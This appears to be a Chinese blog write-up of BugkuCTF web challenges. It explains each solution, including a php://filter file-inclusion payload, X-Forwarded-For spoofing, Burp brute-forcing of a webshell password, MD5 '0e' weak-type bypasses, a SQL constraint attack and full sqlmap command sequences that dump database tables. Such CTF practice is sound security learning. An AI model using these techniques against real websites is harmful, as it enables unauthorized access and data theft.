BugkuCTF Writeup之Web(部分)

Web2

最基本的Web题,考察查看网页源代码

按F12查看网页源代码,flag在一条注释里。

总结:在Web题中,查看网页源代码是非常重要的操作,网页源代码里经常有flag、hint或者一些做题必要的信息。

计算器

考察修改页面源代码

答案是两位数字,但是输入框只能输入一个数字。

把这个maxlength属性改掉再输入答案就能得到flag。

web基础$_GET

最基本的Web题,考察提交GET请求,只要稍微有一点PHP基础就可以做

输入what=flag得到flag。

web基础$_POST

同上,但是这个题考察的是提交POST请求

提交POST请求需要用到一个叫做hackbar的插件,使用这个插件,先Load URL,再点Post data,填入what=flag,最后点Execute提交即可。

矛盾

考察使用空字符%00让is_numeric函数将数字判断为字符串

PHP代码显示要求传入“num”参数,其值为1,但是需要is_numeric()函数判断num不是数值型。

is_numeric函数对于空字符%00,无论是%00放在数值的前还是后都可以判断为非数值,所以构造num=1%00,提交得到flag。

Web3

考察查看网页源代码,以及Unicode编码的解码

打开链接发现一直在弹框,屏蔽之。

其实这个效果是使用JavaScript实现的,后面查看网页源代码也没发现有循环结构,所以如果浏览器没有屏蔽弹窗的功能,也可以把它点完。

点完之后什么都没有,查看页面源代码,在脚本的最后发现一串Unicode编码的字符串。

解码得到flag。

域名解析

考察hosts文件的作用——解析域名

根据提示,在hosts文件内添加以下内容:

然后访问一下flag.baidu.com,得到flag。

你必须让他停下

考察Burp Suite中的Repeater模块的基础使用

打开链接发现页面不停刷新,这时候就要用Burp Suite抓包。

抓到数据包之后按Ctrl+R发送到Repeater模块,然后一直点Go到flag出现为止。

其实这道题我看过一些别人的wp,有人是使用禁用JavaScript的方法做的,只不过我不知道怎么做……如果有会这种方法的欢迎指教。

本地包含

这道题貌似挂了,现在打开所有的页面都只有空白页。

等恢复之后再写吧。

变量1

考察$GLOBALS超全局变量

提示“flag in the variable”,就是flag在某个变量里。

var_dump函数的作用如下:

var_dump();———>>输出展示展示代码内容,结构与类型。 该函数作可以窥探所有内容的类型,以及内部信息。 (转自百度百科)

要求传入args参数,这段参数要符合正则表达式。

“args”使用了两个美元符号($)以后,就可以作为一个可变变量的变量了。这时,两个变量都被定义了,$args的内容是我们传入的值,$$args相当于$(我们传入的值),从这里和下面的var_dump函数可以猜测到这里需要用$GLOBALS超全局变量,也就是传入args=GLOBALS。

传入args=GLOBALS得到flag。

Web5

考察查看网页源代码,JSF*ck编码的加密与解密

查看网页源代码发现一些JSF*ck编码的字符串,解码得到一个新的字符串。

题目中提示“字母大写”将新字符串中的字母全部大写后提交,得到提示。

这应该就是flag了,提交了一下,果然是。

头等舱

考察HTTP响应头的查看

用Fiddler抓一下包,就可以在原始响应头里看到flag。

网站被黑

考察使用扫描工具扫描网站后台和使用Burpsuite爆破。

打开一看发现一个黑页,这个鼠标特效还挺好玩的(

在学习期间经常在书上看到有webshell的页面一般都是……/shell.php,打开看了看真的有,不过按正常操作来的话肯定是要先扫一下后台了。

提示输入密码,但是没有任何其他提示,爆破之。

随便写点东西然后抓包,设置爆破位置。

Payload类型我用了Simple list,Options选择Password

开始爆破,在Payload为hack时找到了flag。

管理员系统

考察查看网页源代码、X-Forwarded-For请求头的使用。

打开一看是登录页面,一开始以为是sql注入题。

管理员系统2.png

随便注入了一下发现并不是。

提示“IP禁止访问”,联想到以前做过的一道叫babyweb的题提示“你的IP地址不在允许范围内”,而那道题是使用“X-Forwarded-For: 127.0.0.1”绕过,看来这里也是一样的做法。

在请求头添加X-Forwarded-For: 127.0.0.1,发包。

又报错了,看来还有没注意到的地方。

看了一眼源码发现一条BASE64编码的注释。

解码得到test123,看来这个应该是密码。既然是“管理员系统”,那用户名应该是admin。

输入用户名和密码,发送,抓包,加上X-Forwarded-For: 127.0.0.1,发包,得到flag。

Web4

考察查看网页源代码和escape编码的解码

提示“看看源代码吧”,所以看了一下源代码,发现一段JavaScript脚本。不过这段脚本好像是错的,所以直接运行的话运行不了。

把它稍微改一改就可以运行了,运行后得到一段JavaScript代码,当然也可以选择不运行,直接解码那些内容,也可以得到这些代码。

这段代码如下:

function checkSubmit(){
    var a=document.getElementById("password");
    if("undefined"!=typeof(a){
         if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
         return 0;
         alert("Error");
         a.focus();
         return 1;
    }
}
document.getElementById("levelQuest").onsubmit=checkSubmit; 

大概意思就是:定义一个函数checkSubmit,要求传入a,如果a的值不等于67d709b2b54aa2aa648cf6e87a7114f1,就弹框“error”,如果正确的话应该就拿到flag。

关于这段代码的含义可以参考一下我的JavaScript笔记,虽然有些我还没学到,不过大概意思可以看得懂。

在输入框中输入“”67d709b2b54aa2aa648cf6e87a7114f1”,得到flag。

flag在index里

考察使用PHP内部协议读取网页源代码

打开看到一个链接。

点进去一看只有test5,但是发现了“file=show.php”。

这道题是在做了HGAME2019的week2之后做的。有了做HGAME的经验很容易就知道这是一个文件包含漏洞,可以通过PHP内置协议直接暴露index.php的源代码。

构造?file=php://filter/read=convert.base64-encode/resource=index.php

成功暴露源代码。

用hackbar插件进行BASE64解码得到flag。

输入密码查看flag

考察使用Burp Suite爆破

提示密码为五位数字,所以考虑爆破(题目链接也提示了要爆破……)。

抓包。

设置Positions和Payloads。

开始爆破,密码为13579时返回信息有变化,查看响应得到flag。

点击一百万次

考察查看网页源代码和POST请求提交数据

提示了JavaScript,打开网页源代码果然看到了JavaScript代码。

大概意思就是当clicks大于等于1000000时就会得到flag,所以用hackbar直接post:clicks=1000000,拿到flag。

备份是个好习惯

考察.bak文件和代码审计。

打开之后只有两串一样的MD5,而且都是空密码。

卡在这里很久,后来突然知道了.bak文件,于是尝试打开index.php.bak。

后缀名为bak的文件是备份文件,修改了原文件的内容后,保存了修改后的内容,那么修改前的内容会自动保存为后缀名为bak的备份文件(前提是设置了备份功能),如果想查看或者恢复修改前的内容,就需要用到bak文件。 (来自百度知道)

果然有这个文件:

下载下来之后用记事本打开,发现一些php代码:

查看代码后发现要求传入key1和key2两个参数,要求值不同而MD5加密后相同。由于只有两个等号所以考虑用弱类型绕过。

但是,str_replace('key','',$str)这一句会过滤掉key,所以构造一个双写来绕过。

综合起来Payload就是:?kekeyy1=QNKCDZO&kkeyey2=s1885207154a

提交一下得到flag。

成绩单

最基本的SQL注入题,用sqlmap做或者手动都可以。我这里是用了sqlmap。

方法是post,参数是id。

检测注入点:

python sqlmap.py -u "http://123.206.87.240:8002/chengjidan/" --data="id=1"

找到了注入点,也就是id。

接下来就是按照套路来:

爆库:

python sqlmap.py -u "http://123.206.87.240:8002/chengjidan/" --data="id=1" --dbs

可以看到有两个数据库,flag应该在skctf_flag里。

爆表:

python sqlmap.py -u "http://123.206.87.240:8002/chengjidan/" --data="id=1" -D skctf_flag --tables

flag应该在fl4g这个表里。

爆字段名:

python sqlmap.py -u "http://123.206.87.240:8002/chengjidan/" --data="id=1" -D skctf_flag -T fl4g --columns

只有一个字段,那这个肯定就是flag了。

爆字段:

python sqlmap.py -u "http://123.206.87.240:8002/chengjidan/" --data="id=1" -D skctf_flag -T fl4g -C skctf_flag --dump

拿到了flag。

秋名山老司机

做这道题需要写具有自动读取、计算、自动提交功能的Python脚本。因为需要用正则表达式匹配算式,还要有自动请求和自动提交功能,所以要用到re库和request库。

打开刷新几下会出现这样的提示,即要传入名为value的变量,value的值如果是答案的话就可以得到flag。

两秒的话肯定不能手算,就用写脚本的方法来解决。思考了一下写出来的脚本应该有这样的功能:

1.请求给定的url;2.提取页面中的文字信息;3.将文字信息中的算式提取出来;4.计算这个算式并且得到结果;5.自动提交结果。

而且整个脚本的运行时间不能大于两秒(虽然Python比C慢,但是这个一般都没问题吧……)。

因为算式在

里,所以可以直接上正则提取出它们之间的东西,再去等号和问号变成纯算式,再用eval()函数计算结果。不用正则的话,用BeautifulSoup也可以。

根据前面所想的功能编写脚本:

ps:自己刚学Python四天,接触正则表达式的时间更短,代码力还不行,写出来的正则表达式总是报错或者匹配不出来,所以正则表达式提取

之间的算式那一句参考了别人的写法,自己只是加上了过滤等号和问号的部分。

import re
import requests
url = 'http://123.206.87.240:8002/qiumingshan/'
s = requests.Session()     #使用Session参数是为了防止提交答案时算式更新
r = s.get(url)     #提取页面信息
b = re.findall(r'<div>(.*)=\?;</div>',r.text,re.S)[0]     #正则表达式提取<div></div>之间的算式
result = eval(b)     #计算算式得到结果
post = {'value': result}     #提交结果
print(s.post(url, data = post).text)

执行脚本之后有一定几率拿到flag,不知道为什么不可以100%成功。

总结:正则表达式真难……

其余的目前还没有全部做完,做完了的如下图所示,没做完的那些等以后做完再新开一篇文章补上。

never give up

考察view-source查看网页源代码和escape编码的解码

页面里没什么有用的信息,查看网页源代码发现一条注释:

访问了一下这个页面,发现跳转到了Bugku的首页,那么这个1p.html的网页源代码里肯定有信息,使用view-source查看即可。

发现一串编码过的字符,下面的unescape()函数提示这是escape编码:

这段JS应该是可以执行的,不过我还没试,反正执行也是解码,就直接解码了。

解码,发现解码出来的信息里有个f4l2a3g.txt,应该就是flag所在的页面。

这段文字Urldecode之后应该还能出现信息,不过访问了f4l2a3g.txt之后就拿到flag了,也没想那么多。

拿到flag。

前女友(SKCTF)

最简单的PHP弱类型利用

查看网页源代码发现链接,打开链接看到代码。

要求传入v1,v2,v3三个参数,其中v1和v2的值不同但MD5加密后的值相同,v3(数组或字符串)与flag的值不同。

考虑到PHP弱类型:PHP在处理MD5加密后的字符串时,它把每一个以“0e”开头的值都解释为0^e(就是0),所以如果两个不同的字符串经过MD5加密以后,都是以“0e”开头的,那么PHP将会认为他们相同。所以构造v1=QNKCDZO&v2=240610708&v3[]=1,提交得到flag。

login1(SKCTF)

考察基于约束的SQL攻击。

在前几天翻大佬们的博客时看到过这道题的wp,不过当时没仔细看,结果刚看完就做到这道题了……

百度了一下“SQL约束攻击”,读完这篇文章之后有了解题思路:https://www.freebuf.com/articles/web/124537.html

打开页面,如果随便注册的话会提示不是admin拿不到flag。

所以,根据上面那篇文章中提到的,为了入侵admin的账户,使用admin加随意多的空白符注册即可:

注册成功后使用刚才注册的用户名登录:

拿到flag:

你从哪里来

考察的是请求头中Referer参数的使用。

打开链接看到一句话:

本以为是要在请求头中添加X-Forwarded-For:(谷歌的ip地址),但是试过了发现没有用。考虑到请求头中的Referer参数的作用是:代表当前访问URL的上一个URL,也就是说,用户是从什么地方来到本页面(摘自《Web安全深度剖析》),使用Hackbar中的Referer功能设置Referer参数的值为“https://www.google.com”,发送请求得到flag。

md5 collision(NUPT_CTF)

考察利用PHP弱类型绕过md5验证。

什么提示也没有,只有input a,联想到题目叫md5碰撞,应该是利用弱类型绕过md5验证。

用QNKCDZO试了下发现不行。

换了另一个md5加密后0e开头的,得到flag。

程序员本地网站

考察的是请求头中的X-Forwarded-For参数。

本地,也就是127.0.0.1。

在请求头中添加“X-Forwarded-For: 127.0.0.1”,发送请求得到flag。

各种绕过

很基础的代码审计,考察数组绕过sha1()函数、URL二次解码绕过

要提交三个参数:uname、passwd、id。其中uname和id是GET方式提交,passwd是POST方式提交。要求uname和passwd在sha1()函数加密后相等,但是这里是用全等于判断的,所以不能用弱类型绕过。

id在urldecode之后要等于margin,所以需要构造一个URL二次解码绕过。

构造如下:

提交一下得到flag。

细心

考察查看robots.txt

打开一看发现一个意义不明的404页面,于是想到看robots.txt。

打开之后果然有了发现。

进去一看,说不是管理员,ip被记录了(而且还把我的ip暴露出来了)。

同时还发现底下有一句代码。

提示说想办法变成admin。一般来说提示不是管理员都是改Cookie,但是既然底下有这句代码,那么就先传入?x=admin试试。

还真行,拿到flag了。

这个页面里的ip和时间应该都是其他师傅的,往下翻了翻还看到了自己的ip和时间,囧。

而且这个flag居然不是花括号,搞得我以为这里有坑,还要改成花括号或者这就是个假flag,结果直接交上去就对了,果然是我想太多了……

这是一个神奇的登陆框

考察SQL注入,用sqlmap轻松搞定。

进去一看是个登录页面,而且题目地址也写了“sql”,那应该是sql注入。

随便写点什么提交一下,发现提交方式是post,请求主体是“admin_name=admin&admin_passwd=123&submit=GO+GO+GO”

通过前面测试DVWA的漏洞和做一些sql注入题,我已经知道接下来是sqlmap出场的时间了(笑)。

先找一下注入点:

python sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=admin&admin_passwd=123&submit=GO+GO+GO" --batch

注入点是admin_name。

爆库:

python sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=admin&admin_passwd=123&submit=GO+GO+GO" --batch --dbs

发现了两个数据库。flag应该在第一个数据库里。

爆表:

python sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=admin&admin_passwd=123&submit=GO+GO+GO" --batch -D bugkusql1 --tables

有两个表。flag应该在flag1里。

爆字段名:

python sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=admin&admin_passwd=123&submit=GO+GO+GO" --batch -D bugkusql1 -T flag1 --columns

这应该就是flag了。

最后爆字段:

python sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=admin&admin_passwd=123&submit=GO+GO+GO" --batch -D bugkusql1 -T flag1 -C flag1 --dump

这串MD5应该就是flag。

加上flag{}格式,就得到真正的flag。

评论

发表评论